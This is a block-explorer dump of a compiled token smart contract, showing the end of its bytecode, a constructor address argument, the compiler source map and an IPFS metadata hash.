7600080fd5b50508035926020909101359150565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761030957610309610fc6565b60008261101057634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561030957610309610fc6565b8181038181111561030957610309610fc6565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561106357600080fd5b81516103ca81610e90565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110be5784516001600160a01b031683529383019391830191600101611099565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156110f457600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212200f6ec47edb446bfdaf3288e049bbb4af5380cc753e3618dac12d9ef4bbbc61f164736f6c63430008130033

00000000000000000000000034ed5f9fc9814ecf4feb6e3b86d67b4b16323d11

-----Decoded View---------------
Arg [0] : dfis_address (address): 0x34eD5f9fC9814ECf4FEB6e3b86d67B4b16323D11

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000034ed5f9fc9814ecf4feb6e3b86d67b4b16323d11

4396:7470:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11366:80;;;;;;;;;;-1:-1:-1;11438:5:0;;;;;;;;;;;;-1:-1:-1;;;11438:5:0;;;;11366:80;;;;;;;:::i;:::-;;;;;;;;10919:215;;;;;;;;;;-1:-1:-1;10919:215:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10919:215:0;1023:187:1;9502:88:0;;;;;;;;;;-1:-1:-1;9575:12:0;;9502:88;;;1361:25:1;;;1349:2;1334:18;9502:88:0;1215:177:1;9684:368:0;;;;;;;;;;-1:-1:-1;9684:368:0;;;;;:::i;:::-;;:::i;9596:80::-;;;;;;;;;;-1:-1:-1;9596:80:0;;4605:1;2000:36:1;;1988:2;1973:18;9596:80:0;1858:184:1;9359:135:0;;;;;;;;;;-1:-1:-1;9359:135:0;;;;;:::i;:::-;;:::i;:::-;;11452:104;;;;;;;;;;-1:-1:-1;11452:104:0;;;;;:::i;:::-;-1:-1:-1;;;;;11536:17:0;11518:7;11536:17;;;:8;:17;;;;;;;11452:104;3352:132;;;;;;;;;;;;;:::i;11276:84::-;;;;;;;;;;-1:-1:-1;11350:7:0;;;;;;;;;;;;-1:-1:-1;;;11350:7:0;;;;11276:84;;11706:157;;;;;;;;;;-1:-1:-1;11706:157:0;;;;;:::i;:::-;;:::i;11562:132::-;;;;;;;;;;-1:-1:-1;11562:132:0;;;;;:::i;:::-;-1:-1:-1;;;;;11664:18:0;;;11646:7;11664:18;;;:10;:18;;;;;;;;:27;;;;;;;;;;;;;11562:132;8836:190;;;;;;;;;;-1:-1:-1;8836:190:0;;;;;:::i;:::-;;:::i;10919:215::-;11022:10;10994:4;11011:22;;;:10;:22;;;;;;;;-1:-1:-1;;;;;11011:31:0;;;;;;;;;;:40;;;11067:37;10994:4;;11011:31;;11067:37;;;;11045:6;1361:25:1;;1349:2;1334:18;;1215:177;11067:37:0;;;;;;;;-1:-1:-1;11122:4:0;10919:215;;;;;:::o;9684:368::-;-1:-1:-1;;;;;9804:18:0;;9784:4;9804:18;;;:10;:18;;;;;;;;9823:10;9804:30;;;;;;;;-1:-1:-1;;9804:51:0;9801:183;;9904:68;;;;;;;;;;;-1:-1:-1;;;9904:68:0;;;;;;;;-1:-1:-1;;;;;9904:18:0;;-1:-1:-1;9904:18:0;;;:10;:18;;;;;9923:10;9904:30;;;;;;;;;;:68;;9939:6;;9904:34;:68::i;:::-;-1:-1:-1;;;;;9871:18:0;;;;;;:10;:18;;;;;;;;9890:10;9871:30;;;;;;;:101;9801:183;10003:41;10018:6;10026:9;10037:6;10003:14;:41::i;:::-;9996:48;;9684:368;;;;;;:::o;9359:135::-;3295:4;3330:6;-1:-1:-1;;;;;3330:6:0;3187:10;3319:17;3170:39;;;;-1:-1:-1;;;3170:39:0;;;;;;;:::i;:::-;;;;;;;;;9482:4:::1;9471:7;9456:12;;:22;;;;:::i;:::-;9455:31;;;;:::i;:::-;9439:13;:47:::0;-1:-1:-1;9359:135:0:o;3352:132::-;3295:4;3330:6;-1:-1:-1;;;;;3330:6:0;3187:10;3319:17;3170:39;;;;-1:-1:-1;;;3170:39:0;;;;;;;:::i;:::-;3426:1:::1;3409:19:::0;;-1:-1:-1;;;;;;3409:19:0::1;::::0;;3444:32:::1;::::0;4137:51:1;;;3444:32:0::1;::::0;4125:2:1;4110:18;3444:32:0::1;;;;;;;3352:132::o:0;11706:157::-;11786:4;11810:45;11825:10;11837:9;11848:6;11810:14;:45::i;8836:190::-;3295:4;3330:6;-1:-1:-1;;;;;3330:6:0;3187:10;3319:17;3170:39;;;;-1:-1:-1;;;3170:39:0;;;;;;;:::i;:::-;8925:7:::1;:16:::0;;;8954:10:::1;:20:::0;;;8998::::1;8967:7:::0;8935:6;8998:20:::1;:::i;:::-;8986:9;:32:::0;-1:-1:-1;;8836:190:0:o;724:::-;810:7;846:12;838:6;;;;830:29;;;;-1:-1:-1;;;830:29:0;;;;;;;;:::i;:::-;-1:-1:-1;870:9:0;882:5;886:1;882;:5;:::i;:::-;870:17;724:190;-1:-1:-1;;;;;724:190:0:o;7613:876::-;7726:8;;7706:4;;7726:8;;7723:66;;;7744:42;7760:6;7768:9;7779:6;7744:15;:42::i;:::-;7737:49;;;;7723:66;7826:12;;-1:-1:-1;;;;;7813:25:0;;;7826:12;;7813:25;;;;:54;;-1:-1:-1;7855:12:0;;-1:-1:-1;;;;;7842:25:0;;;7855:12;;7842:25;;7813:54;7809:214;;;-1:-1:-1;;;;;7892:28:0;;;;;;:17;:28;;;;;;;;;:77;;-1:-1:-1;7956:13:0;;-1:-1:-1;;;;;7924:19:0;;;;;;:8;:19;;;;;;:28;;7946:6;;7924:28;:::i;:::-;:45;;7892:77;7884:127;;;;-1:-1:-1;;;7884:127:0;;4664:2:1;7884:127:0;;;4646:21:1;4703:2;4683:18;;;4676:30;4742:34;4722:18;;;4715:62;-1:-1:-1;;;4793:18:1;;;4786:35;4838:19;;7884:127:0;4462:401:1;7884:127:0;8044:44;8062:6;8070:9;8081:6;8044:17;:44::i;:::-;8041:96;;;8105:19;:17;:19::i;:::-;-1:-1:-1;;;;;11238:22:0;;8148:15;11238:22;;;:14;:22;;;;;;;;11237:23;8203:204;;;;8256:53;8280:28;8293:6;8301;8280:12;:28::i;:::-;-1:-1:-1;;;;;8256:19:0;;;;;;:8;:19;;;;;;;:23;:53::i;:::-;-1:-1:-1;;;;;8234:19:0;;;;;;:8;:19;;;;;:75;8203:204;;;-1:-1:-1;;;;;8364:19:0;;;;;;:8;:19;;;;;;:31;;8388:6;8364:23;:31::i;:::-;-1:-1:-1;;;;;8342:19:0;;;;;;:8;:19;;;;;:53;8203:204;8441:9;-1:-1:-1;;;;;8424:35:0;8433:6;-1:-1:-1;;;;;8424:35:0;;8452:6;8424:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;8424:35:0;;;;;;;;-1:-1:-1;8477:4:0;;7613:876;-1:-1:-1;;;;7613:876:0:o;8497:327::-;8627:52;;;;;;;;;;;-1:-1:-1;;;8627:52:0;;;;;;;;-1:-1:-1;;;;;8627:16:0;;8591:4;8627:16;;;:8;:16;;;;;;;:52;;8648:6;;8627:20;:52::i;:::-;-1:-1:-1;;;;;8608:16:0;;;;;;;:8;:16;;;;;;:71;;;;8712:19;;;;;;;:31;;8736:6;8712:23;:31::i;:::-;-1:-1:-1;;;;;8690:19:0;;;;;;;:8;:19;;;;;;;:53;;;;8759:35;;;;;;;;;;8787:6;1361:25:1;;1349:2;1334:18;;1215:177;8759:35:0;;;;;;;;-1:-1:-1;8812:4:0;8497:327;;;;;:::o;10078:283::-;10178:4;10202:16;:14;:16::i;:::-;:60;;;;-1:-1:-1;;;;;;11238:22:0;;11213:4;11238:22;;;:14;:22;;;;;;;;11237:23;10236:26;10202:106;;;;-1:-1:-1;9146:12:0;;-1:-1:-1;;;;;9133:25:0;;;9146:12;;9133:25;10280:28;10202:151;;;;-1:-1:-1;;10335:18:0;;-1:-1:-1;10326:27:0;10078:283;-1:-1:-1;;10078:283:0:o;6338:1267::-;5600:8;:15;;-1:-1:-1;;5600:15:0;5611:4;5600:15;;;6448:4:::1;-1:-1:-1::0;11536:17:0;;;:8;:17;;;;;;6397:57:::1;;6465:20;6488:57;6543:1;6488:50;6528:9;;6488:35;6515:7;;6488:22;:26;;:35;;;;:::i;:::-;:39:::0;::::1;:50::i;:57::-;6465:80:::0;-1:-1:-1;6556:22:0::1;6581:40;:22:::0;6465:80;6581:26:::1;:40::i;:::-;6658:16;::::0;;6672:1:::1;6658:16:::0;;;;;::::1;::::0;;6556:65;;-1:-1:-1;6634:21:0::1;::::0;6658:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6658:16:0::1;6634:40;;6703:4;6685;6690:1;6685:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6685:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;6729:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;6729:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;6685:7;;6729:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6719:4;6724:1;6719:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6719:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;6763:14:::1;::::0;:198:::1;::::0;-1:-1:-1;;;6763:198:0;;:14;::::1;::::0;:65:::1;::::0;:198:::1;::::0;6843:14;;6763::::1;::::0;6888:4;;6915::::1;::::0;6935:15:::1;::::0;6763:198:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;7066:7:0::1;::::0;6993:21:::1;::::0;-1:-1:-1;6972:18:0::1;::::0;-1:-1:-1;7052:29:0::1;::::0;7066:14:::1;::::0;7078:1:::1;7066:11;:14::i;:::-;7052:9;::::0;;:13:::1;:29::i;:::-;7025:56;;7092:17;7112:52;7162:1;7112:45;7140:16;7112:23;7127:7;;7112:10;:14;;:23;;;;:::i;:52::-;7092:72;;7175:24;7202:48;7233:16;7202:26;7217:10;;7202;:14;;:26;;;;:::i;:48::-;7271:11;::::0;7263:47:::1;::::0;7175:75;;-1:-1:-1;;;;;;7271:11:0::1;::::0;7263:47;::::1;;;::::0;7175:75;;7271:11:::1;7263:47:::0;7271:11;7263:47;7175:75;7271:11;7263:47;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;7324:16:0;;7321:277:::1;;7356:14;::::0;7526:11:::1;::::0;7356:230:::1;::::0;-1:-1:-1;;;7356:230:0;;7431:4:::1;7356:230;::::0;::::1;6714:34:1::0;6764:18;;;6757:34;;;7356:14:0::1;6807:18:1::0;;;6800:34;;;6850:18;;;6843:34;-1:-1:-1;;;;;7526:11:0;;::::1;6893:19:1::0;;;6886:44;7556:15:0::1;6946:19:1::0;;;6939:35;7356:14:0;::::1;::::0;:30:::1;::::0;7394:9;;6648:19:1;;7356:230:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7321:277;-1:-1:-1::0;;5620:8:0;:16;;-1:-1:-1;;5620:16:0;;;-1:-1:-1;;;;;;6338:1267:0:o;10369:538::-;10480:52;;;;;;;;;;;-1:-1:-1;;;10480:52:0;;;;;;;;-1:-1:-1;;;;;10480:16:0;;10441:7;10480:16;;;:8;:16;;;;;;;:52;;10501:6;;10480:20;:52::i;:::-;-1:-1:-1;;;;;10461:16:0;;;;;;:8;:16;;;;;:71;;;;10590:11;;10575:9;;10564:38;;10590:11;10564:21;;:6;;:10;:21::i;:38::-;10613:15;10641:6;10543:59;;-1:-1:-1;;;;;;10631:16:0;;;10641:6;;10631:16;10658:57;;;;10702:1;10689:14;;10658:57;10778:4;10761:23;;;;:8;:23;;;;;;:39;;10789:10;10761:27;:39::i;:::-;10752:4;10735:23;;;;:8;:23;;;;;;;:65;;;;10816:43;;-1:-1:-1;;;;;10816:43:0;;;;;;;10848:10;1361:25:1;;1349:2;1334:18;;1215:177;10816:43:0;;;;;;;;10877:22;:6;10888:10;10877;:22::i;393:179::-;451:7;;483:5;487:1;483;:5;:::i;:::-;471:17;;512:1;507;:6;;499:46;;;;-1:-1:-1;;;499:46:0;;7498:2:1;499:46:0;;;7480:21:1;7537:2;7517:18;;;7510:30;7576:29;7556:18;;;7549:57;7623:18;;499:46:0;7296:351:1;9174:173:0;9248:8;;9223:4;;9248:8;;9247:9;:34;;;;-1:-1:-1;9269:12:0;;;;9247:34;:92;;;;-1:-1:-1;9321:18:0;;9311:4;9294:23;;;;:8;:23;;;;;;:45;;9247:92;9240:99;;9174:173;:::o;922:246::-;980:7;1004:1;1009;1004:6;1000:47;;-1:-1:-1;1034:1:0;1027:8;;1000:47;1057:9;1069:5;1073:1;1069;:5;:::i;:::-;1057:17;-1:-1:-1;1102:1:0;1093:5;1097:1;1057:17;1093:5;:::i;:::-;:10;1085:56;;;;-1:-1:-1;;;1085:56:0;;7854:2:1;1085:56:0;;;7836:21:1;7893:2;7873:18;;;7866:30;7932:34;7912:18;;;7905:62;-1:-1:-1;;;7983:18:1;;;7976:31;8024:19;;1085:56:0;7652:397:1;1176:132:0;1234:7;1261:39;1265:1;1268;1261:39;;;;;;;;;;;;;;;;;:3;:39::i;580:136::-;638:7;665:43;669:1;672;665:43;;;;;;;;;;;;;;;;;:3;:43::i;1316:189::-;1402:7;1437:12;1430:5;1422:28;;;;-1:-1:-1;;;1422:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1461:9:0;1473:5;1477:1;1473;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:180::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;-1:-1:-1;2198:23:1;;2047:180;-1:-1:-1;2047:180:1:o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2484:388::-;2552:6;2560;2613:2;2601:9;2592:7;2588:23;2584:32;2581:52;;;2629:1;2626;2619:12;2581:52;2668:9;2655:23;2687:31;2712:5;2687:31;:::i;:::-;2737:5;-1:-1:-1;2794:2:1;2779:18;;2766:32;2807:33;2766:32;2807:33;:::i;:::-;2859:7;2849:17;;;2484:388;;;;;:::o;2877:248::-;2945:6;2953;3006:2;2994:9;2985:7;2981:23;2977:32;2974:52;;;3022:1;3019;3012:12;2974:52;-1:-1:-1;;3045:23:1;;;3115:2;3100:18;;;3087:32;;-1:-1:-1;2877:248:1:o;3130:329::-;3332:2;3314:21;;;3371:1;3351:18;;;3344:29;-1:-1:-1;;;3404:2:1;3389:18;;3382:36;3450:2;3435:18;;3130:329::o;3464:127::-;3525:10;3520:3;3516:20;3513:1;3506:31;3556:4;3553:1;3546:15;3580:4;3577:1;3570:15;3596:168;3669:9;;;3700;;3717:15;;;3711:22;;3697:37;3687:71;;3738:18;;:::i;3769:217::-;3809:1;3835;3825:132;;3879:10;3874:3;3870:20;3867:1;3860:31;3914:4;3911:1;3904:15;3942:4;3939:1;3932:15;3825:132;-1:-1:-1;3971:9:1;;3769:217::o;4199:125::-;4264:9;;;4285:10;;;4282:36;;;4298:18;;:::i;4329:128::-;4396:9;;;4417:11;;;4414:37;;;4431:18;;:::i;5000:127::-;5061:10;5056:3;5052:20;5049:1;5042:31;5092:4;5089:1;5082:15;5116:4;5113:1;5106:15;5132:251;5202:6;5255:2;5243:9;5234:7;5230:23;5226:32;5223:52;;;5271:1;5268;5261:12;5223:52;5303:9;5297:16;5322:31;5347:5;5322:31;:::i;5388:980::-;5650:4;5698:3;5687:9;5683:19;5729:6;5718:9;5711:25;5755:2;5793:6;5788:2;5777:9;5773:18;5766:34;5836:3;5831:2;5820:9;5816:18;5809:31;5860:6;5895;5889:13;5926:6;5918;5911:22;5964:3;5953:9;5949:19;5942:26;;6003:2;5995:6;5991:15;5977:29;;6024:1;6034:195;6048:6;6045:1;6042:13;6034:195;;;6113:13;;-1:-1:-1;;;;;6109:39:1;6097:52;;6204:15;;;;6169:12;;;;6145:1;6063:9;6034:195;;;-1:-1:-1;;;;;;;6285:32:1;;;;6280:2;6265:18;;6258:60;-1:-1:-1;;;6349:3:1;6334:19;6327:35;6246:3;5388:980;-1:-1:-1;;;5388:980:1:o;6985:306::-;7073:6;7081;7089;7142:2;7130:9;7121:7;7117:23;7113:32;7110:52;;;7158:1;7155;7148:12;7110:52;7187:9;7181:16;7171:26;;7237:2;7226:9;7222:18;7216:25;7206:35;;7281:2;7270:9;7266:18;7260:25;7250:35;;6985:306;;;;;:::o

ipfs://0f6ec47edb446bfdaf3288e049bbb4af5380cc753e3618dac12d9ef4bbbc61f1